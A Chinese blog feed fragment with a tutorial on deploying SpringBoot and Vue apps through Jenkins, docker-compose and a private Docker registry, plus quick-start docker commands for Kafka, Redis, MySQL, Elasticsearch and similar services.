\</span><br><span class="line"> -L https://raw.githubusercontent.com/docker/compose/1.29.2/contrib/completion/bash/docker-compose \</span><br><span class="line"> -o /etc/bash_completion.d/docker-compose</span><br></pre></td></tr></table></figure><h1><span id="安装docker私库">安装docker私库</span></h1><p>为了使服务一次打包多次部署,需要安装docker私库来保存镜像</p><p>首先建好映射目录的文件夹:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkdir /data/registry</span><br></pre></td></tr></table></figure><p>执行docker命令启动私库镜像:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -itd -v /data/registry:/var/lib/registry -p 5000:5000 --restart=always --name registry registry:latest </span></span><br></pre></td></tr></table></figure><p>添加docker配置:</p><p>注意:如果是通过内网访问就配内网IP否则 配公网IP</p><p><code>vi /etc/docker/daemon.json</code><br>添加如下:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"insecure-registries": ["192.168.2.200:5000"]</span><br></pre></td></tr></table></figure><p>如果需要设置账号密码:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> --rm --entrypoint htpasswd httpd:2 -Bbn yourUserName yourPwd >> ./auth/htpasswd </span></span><br></pre></td></tr></table></figure><p>一般在内网环境部署私库,拉取推送也是全程内网,所以可装可不装</p><p>默认私库无法删除镜像,执行如下命令添加配置:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sudo docker exec -it registry /bin/sh</span><br><span class="line">cd /etc/docker/registry</span><br><span class="line">vi config.yml</span><br><span class="line">加入</span><br><span class="line"> delete: </span><br><span class="line"> # To allow image delete </span><br><span class="line"> enabled: true </span><br></pre></td></tr></table></figure><span id="more"></span><h1><span id="springboot项目自动部署">SpringBoot项目自动部署</span></h1><h3><span id="编写-dockerfile">编写 dockerfile</span></h3><p>首先需要编写Dockerfile,在项目根目录新建Dockerfile文件,告诉docker-compose如何构建镜像:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> openjdk:<span class="number">8</span></span><br><span class="line"><span class="comment">#FROM 使用java环境镜像</span></span><br><span class="line"><span class="comment">#设置挂载目录,使用项目名作为日志文件夹,所有项目的日志统一都是spring.log,因此使用文件夹区分</span></span><br><span class="line"><span class="keyword">VOLUME</span><span class="bash"> /usr/docker/logs</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#将该项目的JAR添加到镜像中</span></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> spring-boot-1.1.0.jar app.jar</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#配置该项目要映射出去的端口</span></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#jar运行命令</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="bash"> [<span class="string">"java"</span>,<span class="string">"-Djava.security.egd=file:/dev/./urandom"</span>,<span class="string">"-jar"</span>,<span class="string">"app.jar"</span>,<span class="string">"--server.port=8080"</span>]</span></span><br></pre></td></tr></table></figure><p>注意修改spring-boot-1.1.0.jar为项目中实际的jar文件名,环境变量在maven打包阶段就要设置好,而不是通过启动命令spring.profiles.active=dev 这样来设置。</p><h3><span id="编写docker-composeyml">编写docker-compose.yml</span></h3><p>同样在项目根目录新建docker-compose.yml文件,粘入如下内容:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">'2'</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line"> <span class="attr">manage-system:</span></span><br><span class="line"> <span class="attr">build:</span></span><br><span class="line"> <span class="attr">context:</span> <span class="string">./</span> <span class="comment">#项目的目录,./表示就是当前目录</span></span><br><span class="line"> <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line"> <span class="attr">container_name:</span> <span class="string">manage-system</span></span><br><span class="line"> <span class="attr">image:</span> <span class="number">192.168</span><span class="number">.0</span><span class="number">.100</span><span class="string">:5000/project/manage-system:latest</span></span><br><span class="line"> <span class="attr">hostname:</span> <span class="string">manage-system</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="number">8085</span><span class="string">:8085</span></span><br><span class="line"> <span class="attr">networks:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">mynetworks</span></span><br><span class="line"> </span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line"> <span class="attr">mynetworks:</span></span><br><span class="line"> <span class="attr">external:</span> <span class="literal">true</span> <span class="comment">#使用已有的,如去掉,则会每次重启时都重新创建</span></span><br></pre></td></tr></table></figure><p>以上是单个项目的部署配置,且其它的如redis、mysql、kafka等依赖服务已存在的情况下,仅配置一个即可,如果希望一行命令将后台服务、mysql、redis等全部一并创建并启动,则配置如下:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">'2'</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line"> <span class="attr">manage-system:</span></span><br><span class="line"> <span class="attr">build:</span></span><br><span class="line"> <span class="attr">context:</span> <span class="string">./</span> <span class="comment">#项目的目录,./表示就是当前目录</span></span><br><span class="line"> <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line"> <span class="attr">container_name:</span> <span class="string">manage-system</span></span><br><span class="line"> <span class="attr">image:</span> <span class="number">192.168</span><span class="number">.0</span><span class="number">.199</span><span class="string">:5000/projec/manage-system:latest</span> <span class="comment">#ip改为自己私库ip</span></span><br><span class="line"> <span class="attr">hostname:</span> <span class="string">manage-system</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="number">8085</span><span class="string">:8085</span></span><br><span class="line"> <span class="attr">networks:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">mynetworks</span></span><br><span class="line"> <span class="attr">depends_on:</span> <span class="comment">#该服务需要依赖redis与mysql</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">redis</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">mysql</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">mysql:</span></span><br><span class="line"> <span class="attr">environment:</span></span><br><span class="line"> <span class="attr">MYSQL_ROOT_PASSWORD:</span> <span class="string">root</span></span><br><span class="line"> <span class="attr">MYSQL_ROOT_HOST:</span> <span class="string">'%'</span></span><br><span class="line"> <span class="attr">TZ:</span> <span class="string">Asia/Shanghai</span></span><br><span class="line"> <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line"> <span class="attr">container_name:</span> <span class="string">mysql</span></span><br><span class="line"> <span class="attr">image:</span> <span class="string">mysql</span></span><br><span class="line"> <span class="attr">command:</span></span><br><span class="line"> <span class="string">--character-set-server=utf8mb4</span></span><br><span class="line"> <span class="string">--collation-server=utf8mb4_general_ci</span></span><br><span class="line"> <span class="string">--explicit_defaults_for_timestamp=true</span></span><br><span class="line"> <span class="string">--lower_case_table_names=1</span></span><br><span class="line"> <span class="string">--max_allowed_packet=128M</span></span><br><span class="line"> <span class="string">--default-authentication-plugin=caching_sha2_password</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="number">3306</span><span class="string">:3306</span></span><br><span class="line"> <span class="attr">networks:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">mynetworks</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">redis:</span></span><br><span class="line"> <span class="attr">image:</span> <span class="string">redis:5.0</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="number">6379</span><span class="string">:6379</span></span><br><span class="line"> <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line"> <span class="attr">container_name:</span> <span class="string">redis</span></span><br><span class="line"> <span class="attr">hostname:</span> <span class="string">redis</span></span><br><span class="line"> <span class="attr">networks:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">mynetworks</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line"> <span class="attr">mynetworks:</span></span><br><span class="line"> <span class="attr">driver:</span> <span class="string">bridge</span></span><br></pre></td></tr></table></figure><p>以上是完整的配置,如需要构建自己的镜像,则配置build.context,并编写dockerfile,如使用官方镜像直接启动,则配置image: 镜像名 即可。</p><h3><span id="配置jenkins">配置jenkins</span></h3><h4><span id="安装插件可选">安装插件(可选)</span></h4><p>首先确保安装了publish over ssh插件,安装方法为jenkins主页->左边菜单Manage Jenkins -> Manage Plugins->点击可选插件->搜索:Publish Over SSH -> 安装此插件</p><h4><span id="新建jenkins-job">新建Jenkins job</span></h4><p>1、配置源码管理,比如这里使用的是svn,点击subversion ,填入svn地址和账号密码</p><p>2、Build 项,Root POM填写pom.xml,如不在根目录,填写完整目录,Goals and options填写maven打包命令,如:clean package -Dmaven.test.skip=true -e -Ptest</p><p>3、Post Steps选择Run only if build succeeds or is unstable (构建成功则继续执行)</p><p>4、点击Add post build step,选择Execute shell,填写如下代码:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd manage-system</span><br><span class="line">docker-compose build</span><br><span class="line">docker push <span class="number">192.168</span>.<span class="number">1.199</span>:<span class="number">5000</span>/project/manage-system:latest</span><br></pre></td></tr></table></figure><p>首先cd进入项目的根目录(也是docker-compose.yml的目录),执行构建命令,然后使用push命令将镜像推送到私库</p><p><strong>如果需要直接在本机部署则直接填写如下即可:</strong></p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd manage-system</span><br><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>如直接部署在本机,配置到此就已经结束了,直接运行Jenkins Build Now即可,如是部署在其它服务器,则需要增加一步</p><p>5、如部署在其它服务器,则在构建后操作下点击Add post build step,选择Send files or execute commands over SSH,SSH Server Name一栏选择要部署的服务器,服务器连接配置在Manage Jenkins-> Configure System -> 找到SSH Servers ,配置远程连接服务器的信息。</p><p>回到jenkins job配置,Transfer Set Source files填写要发送到远程服务器的文件,这里可将docker-compose.yml发送过去,如填写:manage-system/docker-compose.yml</p><p>Exec command填写内容如下:</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker pull <span class="number">192.168</span>.<span class="number">1.199</span>:<span class="number">5000</span>/project/manage-system:latest</span><br><span class="line">docker-compose up -d --no-build</span><br></pre></td></tr></table></figure><p>–no-build 表示不构建,因为我们已经构建了该镜像并推送到私库了</p><p>至此spring boot项目的自动部署配置完成!</p><h1><span id="vue前端项目部署">VUE前端项目部署</span></h1><p>在项目根目录编写Dockerfile文件:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> nginx</span><br><span class="line"><span class="keyword">MAINTAINER</span> reiner</span><br><span class="line"><span class="keyword">VOLUME</span><span class="bash"> /tmp</span></span><br><span class="line"><span class="keyword">ENV</span> LANG en_US.UTF-<span class="number">8</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> <span class="built_in">echo</span> <span class="string">"server { \</span></span></span><br><span class="line"><span class="bash"> listen 80; \</span></span><br><span class="line"><span class="bash"> location /manage-system/ { \</span></span><br><span class="line"><span class="bash"> proxy_pass http://192.168.1.199:8080/manage-system/; \</span></span><br><span class="line"><span class="bash"> proxy_redirect off; \</span></span><br><span class="line"><span class="bash"> proxy_set_header Host 192.168.1.199; \</span></span><br><span class="line"><span class="bash"> proxy_set_header X-Real-IP \<span class="variable">$remote_addr</span>; \</span></span><br><span class="line"><span class="bash"> proxy_set_header X-Forwarded-For \<span class="variable">$proxy_add_x_forwarded_for</span>; \</span></span><br><span class="line"><span class="bash"> } \</span></span><br><span class="line"><span class="bash"> </span></span><br><span class="line"> location / { \</span><br><span class="line"> root /var/www/html/; \</span><br><span class="line"> index index.html index.htm; \</span><br><span class="line"> if (!-e \$request_filename) { \</span><br><span class="line"> rewrite ^(.*)\$ /index.html?s=\$<span class="number">1</span> last; \</span><br><span class="line"> break; \</span><br><span class="line"> } \</span><br><span class="line"> } \</span><br><span class="line"> access_log /var/log/nginx/access.log ; \</span><br><span class="line"> } <span class="string">" > /etc/nginx/conf.d/default.conf \</span></span><br><span class="line"><span class="string"> && mkdir -p /var/www \</span></span><br><span class="line"><span class="string"> && mkdir -p /var/www/html</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ADD dist/ /var/www/html/</span></span><br><span class="line"><span class="string">EXPOSE 80</span></span><br><span class="line"><span class="string">EXPOSE 443</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure><p>修改其中的ip为实际项目的ip和地址</p><h3><span id="配置jenkins">配置jenkins</span></h3><p>老样子,新建jenkins job ,源码管理填写git或svn地址,</p><p>Build Steps点击新增Excute Shell,填写构建命令:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm run build</span><br><span class="line">docker build -t 192.168.1.199:5000/web/manage-system-front:latest .</span><br><span class="line">docker push 192.168.1.199:5000/web/manage-system-front:latest</span><br></pre></td></tr></table></figure><p>执行构建命令,再执行docker打包命令,docker会自动查找当前目前的Dockerfile文件并构建镜像。</p><p><strong><strong>如果是直接本机部署,则填写如下:</strong></strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm run build</span><br><span class="line">docker build -t 192.168.1.199:5000/web/manage-system-front:latest .</span><br><span class="line">docker run --name manage-system-front -p 80:80 -d 192.168.1.199:5000/web/manage-system-front:latest</span><br></pre></td></tr></table></figure><p>本机部署配置到此结束,如需要发送到远程服务部署,则再增加一步。</p><p>构建后操作新增Send build artifacts over SSH,选择要部署的服务器,Transfer Set</p><p>Source files可填写docker-compose.yml文件的路径</p><p>前端项目的docker-compose.yml可参照springboot项目中的配置,这里我直接手动命令启动了,Exec command填写如下 :</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker pull 192.168.1.199:5000/web/manage-system-front:latest</span><br><span class="line">docker run --name manage-system-front -p 80:80 -d 192.168.1.199:5000/web/manage-system-front:latest</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结束!</p><h1><span id="一些常用镜像快速启动命令示例">一些常用镜像快速启动命令示例</span></h1><h4><span id="docker容器管理界面">docker容器管理界面</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -d -p 9000:9000 --restart=always \</span></span><br><span class="line"><span class="bash">-v /var/run/docker.sock:/var/run/docker.sock \</span></span><br><span class="line"><span class="bash">--name portainer lihaixin/portainer</span></span><br></pre></td></tr></table></figure><h4><span id="docker私库管理页面">docker私库管理页面</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -d -p 7001:8080 --name registry-web --restart=always --link registry:registry -e registry_url=http://registry:5000/v2 -e registry_name=localhost:5000 hyper/docker-registry-web:latest</span></span><br></pre></td></tr></table></figure><h4><span id="kafka">kafka</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -d --name kafka -p 9092:9092 -p 9093:9093 --link zookeeper --network networks -e ALLOW_PLAINTEXT_LISTENER=yes -e KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 -e KAFKA_CFG_LISTENERS=CLIENT://:9092,EXTERNAL://:9093 -e KAFKA_CFG_ADVERTISED_LISTENERS=CLIENT://kafka:9092,EXTERNAL://192.168.1.199:9093 -e KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CLIENT:PLAINTEXT,EXTERNAL:PLAINTEXT -e KAFKA_CFG_INTER_BROKER_LISTENER_NAME=CLIENT bitnami/kafka:3.4</span></span><br></pre></td></tr></table></figure><p>kafka特别说明:</p><p> 此配置在容器内部访问时使用kafka:9092或者内部ip:9092,外部访问时使用ip:9093,记得暴露9093</p><p>关于kafka lisner 说明可参考: <a href="https://rmoff.net/2018/08/02/kafka-listeners-explained/">https://rmoff.net/2018/08/02/kafka-listeners-explained/</a></p><h4><span id="kafka-ui页面">kafka ui页面</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> --name=kafka-ui -d --network networks -e KAFKA_CLUSTERS_0_NAME=local-kafka -e KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS=kafka:9092 -p 7002:8080 provectuslabs/kafka-ui:latest</span></span><br></pre></td></tr></table></figure><h4><span id="jenkins">jenkins</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -u root -d -p 7000:8080 -p 50000:50000 --name jenkins -v jenkins-data:/var/jenkins_home -v /var/run/docker.sock:/var/run/docker.sock jenkins/jenkins</span></span><br></pre></td></tr></table></figure><h4><span id></span></h4><h4><span id="redis">redis</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> --restart=always -p 6379:6379 --name redis --network networks -v /home/redis/conf/redis.conf:/etc/redis/redis.conf -v /home/redis/conf/data:/data -d hub.c.163.com/library/redis /etc/redis/redis.conf --appendonly yes --requirepass 123456</span></span><br></pre></td></tr></table></figure><p>补充:如连接redis时报no route host,执行如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --permanent --zone=public --add-rich-rule=<span class="string">'rule family=ipv4 source address=172.18.0.0/16 accept'</span> && firewall-cmd --reload</span><br></pre></td></tr></table></figure><h4><span id="elasticsearch7">elasticsearch7</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -d -p 9200:9200 -p 9300:9300 --name elasticsearch --network networks -e ES_JAVA_OPTS=<span class="string">"-Xms512m -Xmx512m"</span> -e <span class="string">"discovery.type=single-node"</span> elasticsearch:7.17.9</span></span><br></pre></td></tr></table></figure><h4><span id="mysql8">mysql8</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -v /data/mysql:/var/lib/mysql -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=root123456 -d mysql</span></span><br></pre></td></tr></table></figure><h4><span id="pluemelog">pluemelog</span></h4><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -d -p8891:8891 --link kafka:kafka -e plumelog.model=kafka -e plumelog.es.esHosts=elasticsearch:9200 -e plumelog.kafka.kafkaHosts=kafka:9092 -e login.username=admin -e login.password=123456 --volume=/data/plumelog-server:/plumelog-server --network=networks --name=plumelog ylyue/plumelog:v3.5.1</span></span><br></pre></td></tr></table></figure><p>注意各个容器想要相互互通需要容器在同一个虚拟网络(network),使用<code>--network=networks</code> 指定,处于同一虚拟网络才能通过容器名+端口访问</p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>前面使用Jenkins+docker+shell脚本可以方便的实现单体应用部署,但如果是微服务架构,工程包较多,若是为每一个服务都建一个Jenkins job 会变得很繁琐,这个时候就需要用到docker-compose 容器编排工具,它可以只需一行命令就能帮我们完成多个服务的构建、推送、重启。</p>
<p> 考虑到如果有多个服务需要部署到多台服务器,如果每台服务器都采用发送jar包再构建镜像的方式会产生许多重复工作,因此这种情况应该使用jenkins构建镜像-&gt;推送到私库-&gt;服务器拉取-&gt;docker-compose启动 如此流程来完成部署。</p>
<h1 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h1><p>需要安装如下软件:</p>
<ol>
<li><p>Jenkins (包括git/svn、publish over ssh 这个插件,jenkins安装教程很多此处不再赘述)</p>
</li>
<li><p>docker </p>
</li>
<li><p>Node JS (可选,仅部署前端vue项目时需要安装)</p>
</li>
<li><p>docker compose </p>
</li>
</ol>
<p><strong>准备工作指路:</strong></p>
<p>jenkins: <a href="https://www.jenkins.io/download/">https://www.jenkins.io/download/</a> 直接启动war包或者使用docker安装</p>
<p>docker: <a href="https://docs.docker.com/desktop/install/linux-install/">Install Docker Desktop on Linux</a> </p>
<p>Node Js:<a href="https://nodejs.org/en/">Node.js</a> </p>
<p>docker compose: <a href="https://github.com/docker/compose">GitHub - docker/compose: Define and run multi-container applications with Docker</a> </p>
<p>或者直接使用curl下载安装,以CentOs为例执行如下代码:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">1、下载docker-compose</span><br><span class="line">sudo curl -L <span class="string">&quot;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-<span class="subst">$(uname -s)</span>-<span class="subst">$(uname -m)</span>&quot;</span> -o /usr/<span class="built_in">local</span>/bin/docker-compose</span><br><span class="line"></span><br><span class="line">2、增加可执行权限</span><br><span class="line">sudo chmod +x /usr/<span class="built_in">local</span>/bin/docker-compose</span><br><span class="line"></span><br><span class="line">3、添加软链接</span><br><span class="line">sudo ln -s /usr/<span class="built_in">local</span>/bin/docker-compose /usr/bin/docker-compose</span><br><span class="line"></span><br><span class="line">4、确认版本</span><br><span class="line">$ docker-compose --version</span><br><span class="line"></span><br><span class="line">sudo curl \</span><br><span class="line"> -L https://raw.githubusercontent.com/docker/compose/1.29.2/contrib/completion/bash/docker-compose \</span><br><span class="line"> -o /etc/bash_completion.d/docker-compose</span><br></pre></td></tr></table></figure>
<h1 id="安装docker私库"><a href="#安装docker私库" class="headerlink" title="安装docker私库"></a>安装docker私库</h1><p>为了使服务一次打包多次部署,需要安装docker私库来保存镜像</p>
<p>首先建好映射目录的文件夹:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkdir /data/registry</span><br></pre></td></tr></table></figure>
<p>执行docker命令启动私库镜像:</p>
<figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> -itd -v /data/registry:/var/lib/registry -p 5000:5000 --restart=always --name registry registry:latest </span></span><br></pre></td></tr></table></figure>
<p>添加docker配置:</p>
<p>注意:如果是通过内网访问就配内网IP否则 配公网IP</p>
<p><code>vi /etc/docker/daemon.json</code><br>添加如下:</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;insecure-registries&quot;: [&quot;192.168.2.200:5000&quot;]</span><br></pre></td></tr></table></figure>
<p>如果需要设置账号密码:</p>
<figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="keyword">run</span><span class="bash"> --rm --entrypoint htpasswd httpd:2 -Bbn yourUserName yourPwd &gt;&gt; ./auth/htpasswd </span></span><br></pre></td></tr></table></figure>
<p>一般在内网环境部署私库,拉取推送也是全程内网,所以可装可不装</p>
<p>默认私库无法删除镜像,执行如下命令添加配置:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sudo docker exec -it registry /bin/sh</span><br><span class="line">cd /etc/docker/registry</span><br><span class="line">vi config.yml</span><br><span class="line">加入</span><br><span class="line"> delete: </span><br><span class="line"> # To allow image delete </span><br><span class="line"> enabled: true </span><br></pre></td></tr></table></figure></summary>
<category term="运维" scheme="https://reiner.host/categories/%E8%BF%90%E7%BB%B4/"/>
<category term="-- 运维 -- jenkins -- 自动化部署 -- docker" scheme="https://reiner.host/tags/%E8%BF%90%E7%BB%B4-jenkins-%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2-docker/"/>
</entry>
<entry>
<title>JVM知识体系整合</title>
<link href="https://reiner.host/posts/d137c087.html"/>
<id>https://reiner.host/posts/d137c087.html</id>
<published>2022-10-05T10:26:51.000Z</published>
<updated>2022-10-05T12:25:09.361Z</updated>
